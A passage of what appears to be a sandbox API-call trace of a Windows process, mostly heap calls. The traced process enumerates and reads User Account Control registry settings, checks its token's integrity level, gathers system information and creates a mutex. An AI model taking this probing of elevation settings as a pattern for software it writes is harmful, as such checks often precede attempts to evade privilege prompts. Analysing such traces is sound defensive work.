(HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c558 [0193.645] RegEnumValueA (in: hKey=0x24, dwIndex=0x3, lpValueName=0x37f668, lpcchValueName=0x37f664, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x37f664, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0193.646] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x8) returned 0xd3b930 [0193.646] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c510 [0193.646] RegEnumValueA (in: hKey=0x24, dwIndex=0x4, lpValueName=0x37f668, lpcchValueName=0x37f664, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x37f664, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0193.646] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x20) returned 0xd3b940 [0193.646] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3b860) returned 1 [0193.646] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x8) returned 0xd3b860 [0193.646] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c4c8 [0193.646] RegEnumValueA (in: hKey=0x24, dwIndex=0x5, lpValueName=0x37f668, lpcchValueName=0x37f664, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x37f664, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0193.646] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x8) returned 0xd3b968 [0193.646] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c480 [0193.646] RegEnumValueA (in: hKey=0x24, dwIndex=0x6, lpValueName=0x37f668, lpcchValueName=0x37f664, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x37f664, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0193.646] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x8) returned 0xd3b978 [0193.646] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c3f0 [0193.646] RegEnumValueA (in: hKey=0x24, dwIndex=0x7, lpValueName=0x37f668, lpcchValueName=0x37f664, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x37f664, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0193.646] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x8) returned 0xd3b988 [0193.646] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c3a8 [0193.646] RegEnumValueA (in: hKey=0x24, dwIndex=0x8, lpValueName=0x37f668, lpcchValueName=0x37f664, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x37f664, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0193.646] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x30) returned 0xd3b998 [0193.646] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3b940) returned 1 [0193.646] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x8) returned 0xd3b940 [0193.646] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c360 [0193.646] RegEnumValueA (in: hKey=0x24, dwIndex=0x9, lpValueName=0x37f668, lpcchValueName=0x37f664, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x37f664, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0193.646] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x8) returned 0xd3b950 [0193.646] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c318 [0193.646] RegEnumValueA (in: hKey=0x24, dwIndex=0xa, lpValueName=0x37f668, lpcchValueName=0x37f664, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x37f664, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0193.646] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x8) returned 0xd3b9d0 [0193.646] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c2d0 [0193.646] RegEnumValueA (in: hKey=0x24, dwIndex=0xb, lpValueName=0x37f668, lpcchValueName=0x37f664, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x37f664, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0193.646] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x8) returned 0xd3b9e0 [0193.646] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c288 [0193.646] RegEnumValueA (in: hKey=0x24, dwIndex=0xc, lpValueName=0x37f668, lpcchValueName=0x37f664, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x37f664, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0193.647] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c240 [0193.647] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3b998) returned 1 [0193.647] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x8) returned 0xd3b998 [0193.647] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c1f8 [0193.647] RegEnumValueA (in: hKey=0x24, dwIndex=0xd, lpValueName=0x37f668, lpcchValueName=0x37f664, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x37f664, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0193.647] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x8) returned 0xd3b9a8 [0193.647] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c1b0 [0193.647] RegEnumValueA (in: hKey=0x24, dwIndex=0xe, lpValueName=0x37f668, lpcchValueName=0x37f664, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x37f664, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0193.647] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x8) returned 0xd3d1e8 [0193.647] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c168 [0193.647] RegEnumValueA (in: hKey=0x24, dwIndex=0xf, lpValueName=0x37f668, lpcchValueName=0x37f664, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x37f664, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0193.647] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x8) returned 0xd3d1f8 [0193.647] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.647] RegEnumValueA (in: hKey=0x24, dwIndex=0x10, lpValueName=0x37f668, lpcchValueName=0x37f664, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x37f664, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0193.647] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c0d8 [0193.647] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c0d8) returned 1 [0193.647] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c0d8 [0193.647] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c5a0) returned 1 [0193.647] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3b878) returned 1 [0193.647] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c438) returned 1 [0193.647] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3b888) returned 1 [0193.647] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c558) returned 1 [0193.647] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3b898) returned 1 [0193.647] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c510) returned 1 [0193.647] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3b930) returned 1 [0193.647] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c4c8) returned 1 [0193.647] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3b860) returned 1 [0193.647] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c480) returned 1 [0193.647] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3b968) returned 1 [0193.647] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c3f0) returned 1 [0193.647] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3b978) returned 1 [0193.647] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c3a8) returned 1 [0193.647] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3b988) returned 1 [0193.647] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c360) returned 1 [0193.647] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3b940) returned 1 [0193.648] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c318) returned 1 [0193.648] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3b950) returned 1 [0193.648] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c2d0) returned 1 [0193.648] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3b9d0) returned 1 [0193.648] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c288) returned 1 [0193.648] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3b9e0) returned 1 [0193.648] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c1f8) returned 1 [0193.648] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3b998) returned 1 [0193.648] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c1b0) returned 1 [0193.648] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3b9a8) returned 1 [0193.648] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c168) returned 1 [0193.648] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3d1e8) returned 1 [0193.648] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.648] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3d1f8) returned 1 [0193.648] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c240) returned 1 [0193.648] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c240 [0193.648] RegQueryValueExA (in: hKey=0x24, lpValueName="ConsentPromptBehaviorAdmin", lpReserved=0x0, lpType=0x37f774, lpData=0x0, lpcbData=0x37f77c*=0x0 | out: lpType=0x37f774*=0x4, lpData=0x0, lpcbData=0x37f77c*=0x4) returned 0x0 [0193.648] RegQueryValueExA (in: hKey=0x24, lpValueName="ConsentPromptBehaviorAdmin", lpReserved=0x0, lpType=0x37f774, lpData=0xd3c240, lpcbData=0x37f77c*=0x4 | out: lpType=0x37f774*=0x4, lpData=0xd3c240*=0x5, lpcbData=0x37f77c*=0x4) returned 0x0 [0193.648] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c240) returned 1 [0193.648] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c0d8) returned 1 [0193.648] RegEnumValueA (in: hKey=0x24, dwIndex=0x0, lpValueName=0x37f668, lpcchValueName=0x37f664, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x37f664, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0193.648] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x10) returned 0xd3d5e8 [0193.648] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x8) returned 0xd3d1f8 [0193.648] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c0d8 [0193.648] RegEnumValueA (in: hKey=0x24, dwIndex=0x1, lpValueName=0x37f668, lpcchValueName=0x37f664, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x37f664, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0193.648] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x8) returned 0xd3d1e8 [0193.648] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c240 [0193.648] RegEnumValueA (in: hKey=0x24, dwIndex=0x2, lpValueName=0x37f668, lpcchValueName=0x37f664, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x37f664, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0193.648] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x8) returned 0xd3d208 [0193.648] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c120 [0193.648] RegEnumValueA (in: hKey=0x24, dwIndex=0x3, lpValueName=0x37f668, lpcchValueName=0x37f664, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x37f664, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0193.648] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x8) returned 0xd3d218 [0193.648] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c168 [0193.649] RegEnumValueA (in: hKey=0x24, dwIndex=0x4, lpValueName=0x37f668, lpcchValueName=0x37f664, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x37f664, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0193.649] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x20) returned 0xd3b860 [0193.649] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3d5e8) returned 1 [0193.649] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x8) returned 0xd3d228 [0193.649] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c1b0 [0193.649] RegEnumValueA (in: hKey=0x24, dwIndex=0x5, lpValueName=0x37f668, lpcchValueName=0x37f664, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x37f664, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0193.649] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x8) returned 0xd3d238 [0193.649] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c1f8 [0193.649] RegEnumValueA (in: hKey=0x24, dwIndex=0x6, lpValueName=0x37f668, lpcchValueName=0x37f664, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x37f664, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0193.649] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x8) returned 0xd3d248 [0193.649] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c288 [0193.649] RegEnumValueA (in: hKey=0x24, dwIndex=0x7, lpValueName=0x37f668, lpcchValueName=0x37f664, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x37f664, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0193.649] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x8) returned 0xd3d258 [0193.649] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c2d0 [0193.649] RegEnumValueA (in: hKey=0x24, dwIndex=0x8, lpValueName=0x37f668, lpcchValueName=0x37f664, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x37f664, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0193.649] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x30) returned 0xd3b930 [0193.649] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3b860) returned 1 [0193.649] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x8) returned 0xd3d268 [0193.649] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c318 [0193.649] RegEnumValueA (in: hKey=0x24, dwIndex=0x9, lpValueName=0x37f668, lpcchValueName=0x37f664, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x37f664, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0193.649] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x8) returned 0xd3d278 [0193.649] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c360 [0193.649] RegEnumValueA (in: hKey=0x24, dwIndex=0xa, lpValueName=0x37f668, lpcchValueName=0x37f664, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x37f664, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0193.649] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x8) returned 0xd3d288 [0193.649] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c3a8 [0193.649] RegEnumValueA (in: hKey=0x24, dwIndex=0xb, lpValueName=0x37f668, lpcchValueName=0x37f664, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x37f664, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0193.649] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x8) returned 0xd3d298 [0193.649] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c3f0 [0193.649] RegEnumValueA (in: hKey=0x24, dwIndex=0xc, lpValueName=0x37f668, lpcchValueName=0x37f664, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x37f664, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0193.649] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c480 [0193.649] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3b930) returned 1 [0193.650] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x8) returned 0xd3d2a8 [0193.650] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c4c8 [0193.650] RegEnumValueA (in: hKey=0x24, dwIndex=0xd, lpValueName=0x37f668, lpcchValueName=0x37f664, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x37f664, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0193.650] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x8) returned 0xd3d2b8 [0193.650] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c510 [0193.650] RegEnumValueA (in: hKey=0x24, dwIndex=0xe, lpValueName=0x37f668, lpcchValueName=0x37f664, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x37f664, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0193.650] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x8) returned 0xd3d2c8 [0193.650] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c558 [0193.650] RegEnumValueA (in: hKey=0x24, dwIndex=0xf, lpValueName=0x37f668, lpcchValueName=0x37f664, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x37f664, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0193.650] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x8) returned 0xd3d2d8 [0193.650] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c438 [0193.650] RegEnumValueA (in: hKey=0x24, dwIndex=0x10, lpValueName=0x37f668, lpcchValueName=0x37f664, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x37f664, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0193.650] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c5a0 [0193.650] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c5a0) returned 1 [0193.650] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c5a0 [0193.650] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c5a0) returned 1 [0193.650] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c5a0 [0193.650] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c5a0) returned 1 [0193.650] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c5a0 [0193.650] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c5a0) returned 1 [0193.650] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c5a0 [0193.650] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c5a0) returned 1 [0193.650] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c5a0 [0193.650] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c5a0) returned 1 [0193.650] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c5a0 [0193.650] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c5a0) returned 1 [0193.650] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c5a0 [0193.650] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c5a0) returned 1 [0193.650] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c5a0 [0193.650] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c0d8) returned 1 [0193.650] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3d1f8) returned 1 [0193.650] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c240) returned 1 [0193.650] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3d1e8) returned 1 [0193.650] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c120) returned 1 [0193.650] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3d208) returned 1 [0193.650] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c168) returned 1 [0193.650] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3d218) returned 1 [0193.651] RegQueryValueExA (in: hKey=0x24, lpValueName="PromptOnSecureDesktop", lpReserved=0x0, lpType=0x37f774, lpData=0x0, lpcbData=0x37f77c*=0x0 | out: lpType=0x37f774*=0x4, lpData=0x0, lpcbData=0x37f77c*=0x4) returned 0x0 [0193.651] RegQueryValueExA (in: hKey=0x24, lpValueName="PromptOnSecureDesktop", lpReserved=0x0, lpType=0x37f774, lpData=0xd3c480, lpcbData=0x37f77c*=0x4 | out: lpType=0x37f774*=0x4, lpData=0xd3c480*=0x1, lpcbData=0x37f77c*=0x4) returned 0x0 [0193.651] RegCloseKey (hKey=0x24) returned 0x0 [0193.651] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x37f7ec | out: TokenHandle=0x37f7ec*=0x24) returned 1 [0193.651] GetTokenInformation (in: TokenHandle=0x24, TokenInformationClass=0x14, TokenInformation=0x37f7e8, TokenInformationLength=0x4, ReturnLength=0x37f7e4 | out: TokenInformation=0x37f7e8, ReturnLength=0x37f7e4) returned 1 [0193.651] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x37f7d8 | out: TokenHandle=0x37f7d8*=0xa0) returned 1 [0193.651] GetTokenInformation (in: TokenHandle=0xa0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x37f7d4 | out: TokenInformation=0x0, ReturnLength=0x37f7d4) returned 0 [0193.651] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c5a0 [0193.651] GetTokenInformation (in: TokenHandle=0xa0, TokenInformationClass=0x19, TokenInformation=0xd3c5a0, TokenInformationLength=0x14, ReturnLength=0x37f7d4 | out: TokenInformation=0xd3c5a0, ReturnLength=0x37f7d4) returned 1 [0193.651] GetSidSubAuthorityCount (pSid=0xd3c5a8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 0xd3c5a9 [0193.651] GetSidSubAuthority (pSid=0xd3c5a8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000), nSubAuthority=0x0) returned 0xd3c5b0 [0193.651] RtlFreeHeap (HeapHandle=0xd30000, Flags=0x0, BaseAddress=0xd3c5a0) returned 1 [0193.651] NtClose (Handle=0xa0) returned 0x0 [0193.651] GetSystemInfo (in: lpSystemInfo=0x37f920 | out: lpSystemInfo=0x37f920*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0x1, dwNumberOfProcessors=0x1, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0193.651] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x6c) returned 0xd3b860 [0193.651] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c5a0 [0193.651] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName=0x0) returned 0xa0 [0193.651] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c480 [0193.651] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c438 [0193.651] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c558 [0193.651] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x40) returned 0xd3c510 [0193.652] RtlAllocateHeap (HeapHandle=0xd30000, Flags=0x8, Size=0x5000) returned 0xdd0048 